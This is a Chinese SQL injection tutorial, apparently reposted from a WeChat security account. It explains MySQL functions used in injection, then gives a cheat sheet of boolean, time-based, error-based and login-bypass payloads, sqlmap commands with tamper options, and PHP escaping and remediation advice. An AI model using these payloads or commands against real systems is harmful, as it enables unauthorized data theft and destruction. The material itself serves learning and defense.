注入基础
有几个 MySQL 内置的函数需要记住:
MySQL LENGTH 函数
LENGTH - 返回字符串长度。
LENGTH(str)
返回字符串str的长度,以字节为单位。多字节字符计为多个字节。这意味着对于包含五个两个字节的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。
MySQL SUBSTRING MID 函数
SUBSTRING - MID()的同义词,返回字符串的子串
SUBSTRING(str,pos),SUBSTRING(str FROM pos),SUBSTRING(str,pos,len),SUBSTRING(str FROM pos FOR len)
不带len参数的表单从字符串str返回子字符串,从位置pos开始。带有len参数的表单从字符串str返回一个len字符长的字符串,从位置pos开始。使用FROM的表单是标准的SQL语法。pos也可以使用负值。在这种情况下,子字符串的开头是字符串末尾的pos字符,而不是开头。可以以此函数的任何形式将负值用于pos。
将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
MySQL ASCII 函数
ASCII - 返回字符串第一个字符的ASCII码。
ASCII(str)
返回字符串str的最左边字符的数值。如果str是空字符串,则返回0。如果str为NULL,则返回NULL。ASCII适用于数字值介于0到255之间的字符。
MySQL ORD 函数
ORD - 如果字符串str的最左边的字符是多字节字符,则返回该字符的代码,该代码是使用此公式根据其组成字节的数值计算得出的。
ORD(str)
如果字符串str的最左边的字符是多字节字符,则返回该字符的代码,该代码是使用此公式根据其组成字节的数值计算得出的。如果最左边的字符不是多字节字符,则ORD()返回与ASCII()函数相同的值。
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
使用ascii码来判断时,需要向我们的工具中加入ascii码的字典
MySQL ELT 函数
ELT - 返回对应位置的字符串。
ELT(N,str1,str2,str3,...)
如果N = 1,则返回str1;如果N = 2,则返回str2,依此类推。如果N小于1或大于参数个数,则返回NULL。ELT是FIELD的补充。
常用的SQL注入语句:
1.and
and:并且
(1) .需要符合所有条件,这样的记录就会被查询出来。
(2) .如果其中一个条件不符合则记录将被剔除掉。
2.or
or:或者
(1) .只要符合这几个查询条件的其中一个条件,这样的记录就会被查询出来。
(2) .如果不符合这些查询条件中的任何一条,这样的记录将被排除掉。
(3) and和or的优先级:and优先
3.order by
order by:排序
(1) .降序:desc
(2) .升序:ASC
4.where --后面加条件(满足则输出)
limit o,1 --限制(从第一条开始输出,1:只输出一次)
5.union --联合查询(讲两条select语句连起来查询)
注意,UNION 内部的 SELECT 语句必须拥有【相同数量】的列,列也必须拥有相似的数据类型
同时,每条 SELECT 语句中的列的顺序必须相同
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL
6.SQL注入常用的函数
6.1. version() —查看mysql版本信息
6.2. user() —查看当前用户
6.3. database() --查看当前使用的数据库
6.4. @@datadir --查看数据库数据存放的路径
6.5. @@version_compile_os --查看操作系统信息
7.MySQL管理数据库的常用命令
7.1.show databases; --查看有多少数据库
7.2.use 数据库名; --使用对应的数据库
7.3.show tables;(先使用数据库) --查看有多少表
7.4.desc 表名; --查看表结构(字段名)(方便插入数据)
7.5.insert into 表名 (字段名…) value (数据(对应字段)) --插入数据
7.6.select --查看数据
8.掌握information_schema数据库下的表及字段:
8.1. schemata表 —保存了所有的数据库名
字段schema_name --所有的数据库名
mysql> use information_schema;
mysql> select distinct schema_name from schemata;
字符说明:distinct ----去重
8.2. tables ----存放数据库名和表名的表
字段table_schema —tables表下存放数据库名的字段
字段table_name —tables表下存放表名的字段
mysql> use information_schema;
mysql> select distinct table_schema from TABLES;
mysql> select distinct table_name from TABLES;
columns ----存放字段名的表
字段column_name —columns表下存放字段名的字段
mysql> select distinct column_name from columns;
9.MySQL注入-编码或变形-hex()
十进制----->16进制
mysql> select(hex(15));
字符串---->16进制
mysql> select(hex('B-A-D-A'));
以0x开头的16进制---->字符串
mysql> select concat('hello',0x2D,'world');
10.MySQL注入-编码或变形-ascii()
ascii码 可见字符基本是32到127
与hex()基本类似但不是转为16进制而是转为ascii码
字符串 -> ascii码
mysql> select(ascii('a'));
ord函数 和 ascii唯一的区别:多字节的字符处理
mysql> SELECT ord('为');
mysql> SELECT ASCII('为');
ascii码 -> 字符串
mysql> select char('77');
11.MySQL注入-字符串-length()
mysql> select length('dsada');
12.MySQL注入-字符串-substring(),mid()
substring(),mid() ----取子字符串
取出字符串str里的第pos位开始 长度len的字符
2个参数的形式:
没有len参数表示 子字符串为 从pos位置开始到str的末尾 的字符串
SUBSTRING(str,pos)
mysql> select substring('',2); --从第二个字符开始到末尾结束
3个参数的形式:
最后一个参数len 即返回的子字符串长度(字符数)
SUBSTRING(str,pos,len)
mysql> select substring('<b></b>',2,2); ---从第二位开始长度为2(到第三位结束)
13.MySQL注入-字符串-elt()
mysql> select elt(1,'aa','bb','cc'); --选择出第一位并输出
14.MySQL注入-字符串连接符-concat()
concat():没有分隔符连接字符串 --concat(str1,str2…)
mysql> use xindi;
mysql> select concat(id,dname) from t_depart;
15.MySQL注入-字符串连接符-CONCAT_WS()
CONCAT_WS(separator,str1,str2…) — separator:其他参数的分隔符
mysql> select concat_ws('_',id,dname) from t_depart limit 1;
如果分隔符为 NULL,则结果全为 NULL
mysql> select concat_ws(null,id,dname) from t_depart limit 1;
会忽略后面参数中的null 相当于sql语句中没写 null。
mysql> select concat_ws('_',null,id,dname) from t_depart limit 1;
空字符串 和普通字符串一样被连接
mysql> select concat_ws('_',id,'',dname) from t_depart limit 1;
16.MySQL注入-字符串连接符-group_concat()
group_concat(str1,str2…) --连接一个组(整个表)的所有字符串,一','号分割
mysql> select group_concat(id,dname) from t_depart limit 1;
17.MySQL注入-报错注入-rand()
floor()函数 取小于该数字的最大整数
mysql> select floor(5.1);
mysql> select floor(2.9);
rand()函数 返回一个随机浮点数v,取值范围为0 < v=< 1.0
mysql> select (100*rand()); ---获取一个随机浮点数(0-100),rand()默认0 < v=< 1.0
rand(0)是固定的mysql> select (rand(0));
floor *2取整永远是同一个整数
mysql> select floor(rand(5)*2);
18.MySQL注入-报错注入-extractvalue()
extractvalue(XML_document, XPath_string)
:第一个参数:XML_document是String格式;第二个参数:XPath_string (Xpath格式的字符串)
mysql> select (extractvalue(1,concat(0x7e,(select user()),0x7e)));
查看concat()连接函数
mysql> select concat(user(),floor(rand(0)*2));
19.MySQL注入-报错注入-updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式
第二个参数:XPath_string
第三个参数:new_value
与 extractvalue() 函数区别是 第三个参数替换了节点字符串,返回值是整个改变后的XML文档
#使用方式
select updatexml("666", "/html","888") #返回888
mysql> select (updatexml(1,concat(0x7e,(select user()),0x7e),1));
20.常用函数-xml解析-extractvalue()
mysql> SET @temp_xml ='
'> <?xml version="1.0" encoding="UTF-8"?>
'>
'>
'> AODB
'> 800495
'> 20171226114530
'> FLOP
'> STND
'>
'>
'> 4666481
'> Y20
'>
'>
'>';
mysql> select extractvalue(@temp_xml,'/MSG/FLOP/STND');
21.sleep
关键判断函数:sleep(6)
延时6秒
手工测试 两者对比明显有延迟
http://127.0.0.4/Less-1/index.php?id=1' and sleep(0) –+
http://127.0.0.4/Less-1/index.php?id=1' and sleep(10) –+
理论依据:
if是mysql自带的函数,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)
if(条件,条件为真的话执行函数,条件为假的话执行函数)
sleep函数放在参数2的位置上 则条件为真就执行 参数2处的sleep(6)
sleep函数放在参数3的位置上 则条件为假就执行 参数3处的sleep(6)
mysql> select if(1,sleep(2),0);
22.恒为真的语句
mysql> select now();
mysql> select sysdate();
mysql> select sysdate()=now();
select if(now()=sysdate(),sleep(2),0);
23.常用注入语句
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --random-agent --proxy="http://127.0.0.1:8008"
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008"
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --random-agent [--chunk] [--proxy="http://127.0.0.1:8008"]
'||'8'='8 查询所有
'&&'8'='8'||'8'='8 查询所有
'&&'8'='6'||8'='8 查询为空
'OR'8'='8 查询所有
'AND'8'='8'OR'8'='8 查询所有
'AND'8'='6'OR'8'='8 查询为空
%'OR'%'LIKE'%
%'OR'%'LIKE'%'OR'8'='8'OR'8'='8
%'OR'%'LIKE'%'AND'6'='8'AND'8'='6
'OR'8'='8 查询所有
'AND'8'='8'OR'8'='8 查询所有
'AND'8'='6'OR'8'='8 查询为空
%'AND'8'='8
%'OR'%'='% 查询所有
%'AND'8'='8'OR'%'='% 查询所有
%25'AND'8'='8'OR'%25'='%25
%'AND'8'='6'OR'%'='% 查询为空
%25'AND'8'='6'OR'%25'='%25
%25%27OR%27%25%27%3D%27%25
%25%27AND%278%27%3D%276%27OR%27%25%27%3D%27%25
%25%27AND%278%27%3D%278%27OR%27%25%27%3D%27%25
' AND (SELECT 5122 FROM (SELECT(SLEEP(5)))PQBP) AND '
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --dbms PostgreSQL
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --tamper="randomcase.py"
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --tamper="randomcase.py,charencode.py"
admin'--
admin'or'8'='8
' and sleep(5) and '8'='8
desc,if((current_user like'root%'),0,(select 1 union select 2))
admin';SELECT PG_SLEEP(5) --
' and SLEEP(5) and '
8'or'8'='8'or'8'='8
8'||'8'='8'||'8'='8
python sqlmap.py -r 1.txt --level=5 --risk=3 -v 3 --tamper="randomcase.py,charencode.py"
%' AND 6956=6956 AND 'aShs%'='aShs
%' AND 1448=(SELECT 1448 FROM PG_SLEEP(5)) AND 'jcmR%'='jcmR
8'or'8'='8'or'8'='8
python sqlmap.py -u "http://10.10.10.10/egis/api/v1/getuserInfo?id=1" -p id --level=5 --risk=3 -v 3 --tamper="randomcase.py,charencode.py"
python sqlmap.py -u "http://10.10.10.10/egis/api/v1/getuserInfo?id=1" -p id --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8008" --tamper="randomcase.py,charencode.py"
ELT(1,1,2,3,4)
ELT(1,SLEEP(1))
Payload: id=ELT(4178=4178,SLEEP(5))
Vector: ELT([INFERENCE],SLEEP([SLEEPTIME]))
ELT(VERSION() LIKE 0x255469444225,SLEEP(5))
ELT(@@VERSION_COMMENT LIKE 0x256472697a7a6c6525,SLEEP(5))
ELT(@@VERSION_COMMENT LIKE 0x25506572636f6e6125,SLEEP(5))
ELT(AURORA_VERSION() LIKE 0x25,SLEEP(5))
id=ELT(4178=4178,SLEEP(5))
ELT([INFERENCE],SLEEP([SLEEPTIME]))
ELT(1,1,2,3,4)
1'or ELT(1,1,2,3,4)='1
24.MySQL SQL注入
如果您通过网页获取用户输入并将其插入到MySQL数据库中,则很有可能会遇到称为SQL 注入的安全问题。本章将教您如何帮助防止这种情况的发生并帮助您保护脚本和MySQL语句。SQL注入通常在您请求用户输入时发生,例如用户名,而不是用户名,而是给您一条MySQL语句,您将在不知不觉中在数据库上运行。永远不要信任用户提供的数据,仅在验证后才处理这些数据;通常,这是通过模式匹配完成的。在以下示例中,用户名被限制为字母数字字符和下划线,并且长度介于8到20个字符之间-根据需要修改这些规则。
if (preg_match("/^w{8,20}$/", $_GET['username'], $matches)) {
$result = mysqli_query($conn,"SELECT * FROM users WHERE username = $matches[0]");
} else {
echo "username not accepted";
}
为了演示此问题,请考虑以下摘录。
// supposed input
$name = "Qadir'; DELETE FROM users;"; //假设这是用户输入,这就危险了
mysql_query("SELECT * FROM users WHERE name = '{$name}'");
}
该函数调用应该从users表中检索一条记录,其中name列与用户指定的名称匹配。通常情况下,$name仅包含字母数字字符,也许还包含空格。但是在这里,通过将一个全新的查询附加到$ name,对数据库的调用变成了一场灾难。注入的DELETE查询将从用户中删除所有记录。幸运的是,如果使用MySQL,则mysqli_query()函数不允许查询堆栈或在单个函数调用中执行多个查询。如果您尝试堆叠查询,则调用将失败。但是,其他PHP数据库扩展(例如SQLite和PostgreSQL)可以愉快地执行堆积查询,执行所有以一个字符串提供的查询,并造成严重的安全性问题。
防止SQL注入
您可以使用PERL和PHP等脚本语言来智能地处理所有转义字符。PHP的MySQL扩展提供了函数mysqli_real_escape_string()来转义MySQL特有的输入字符。
if (get_magic_quotes_gpc()) {
$name = stripslashes($name);
}
$name = mysql_real_escape_string($name);
mysql_query("SELECT * FROM users WHERE name = '{$name}'");
LIKE 查询这么解决
为了解决LIKE难题,自定义转义机制必须将用户提供的%和_字符转换为文字。使用addcslashes(),该函数可让您指定要转义的字符范围。
$sub = addcslashes(mysql_real_escape_string("%something_"), "%_");
// $sub == %something_
mysql_query("SELECT * FROM messages WHERE subject LIKE '{$sub}%'");
25.总结归纳
SQL注入 - 漏洞描述
• SQL注入漏洞 就是通过在用户可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。
SQL注入 - 漏洞成因
• 漏洞成因有2个方面:
1、使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够过滤。
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令造成SQL注入漏洞。
SQL注入 - 漏洞危害
• 可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致攻击者完全接管主机。
SQL注入 - 漏洞分类
• 根据注入点数据类型分类,可以分为以下3类:
1、数字型注入:注入点数据类型为数字型,常用测试代码 +1 -1 。
2、字符型注入:注入点数据类型为字符型,常用测试代码 '-- ‘# 。
3、搜索型注入:模糊查询,常用测试代码:%'Or'%'Like'% 。
• 根据注入点的SQL语法分类,可以分为以下5类:
1、UNION query SQL injection(联合查询注入):可以使用union的情况下注入。
2、Error-based SQL injection(报错型注入):页面会返回错误信息。
3、Boolean-based blind SQL injection(布尔型注入):根据返回页面判断条件真假。
4、Time-based blind SQL injection(基于时间的延迟注入):用页面返回时间是否增加判断是否存在注入。
5、Stacked queries SQL injection(可多语句查询注入):可以同时执行多条SQL语句。
• 根据数据包提交方式分类,可以分为以下4类:
1、GET 注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。
2、POST 注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
3、Cookie 注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
4、HTTP 头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 Host字段、User-Agent 字段、X-Forwarded-For字段中。严格讲的话,Cookie 其实应该也是算HTTP 头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
SQL注入 - 修复方案
• 修复方案
1、使用参数检查的方式在参数拼接进入SQL语句执行前进行校验过滤,拦截带有SQL语句的参数传入应用程序。
2、对SQL语句的语义进行完整性检查,确认语义没有发生变化。
3、使用预编译处理的方式处理拼接了用户可控参数的SQL语句。
4、Web应用程序接入数据库服务器使用的用户禁用系统管理员,用户角色应遵循最小权限原则。
5、定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行痕迹。
注入漏洞学习网站:https://portswigger.net/web-security/sql-injection
本文始发于微信公众号(利刃信安):注入基础
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论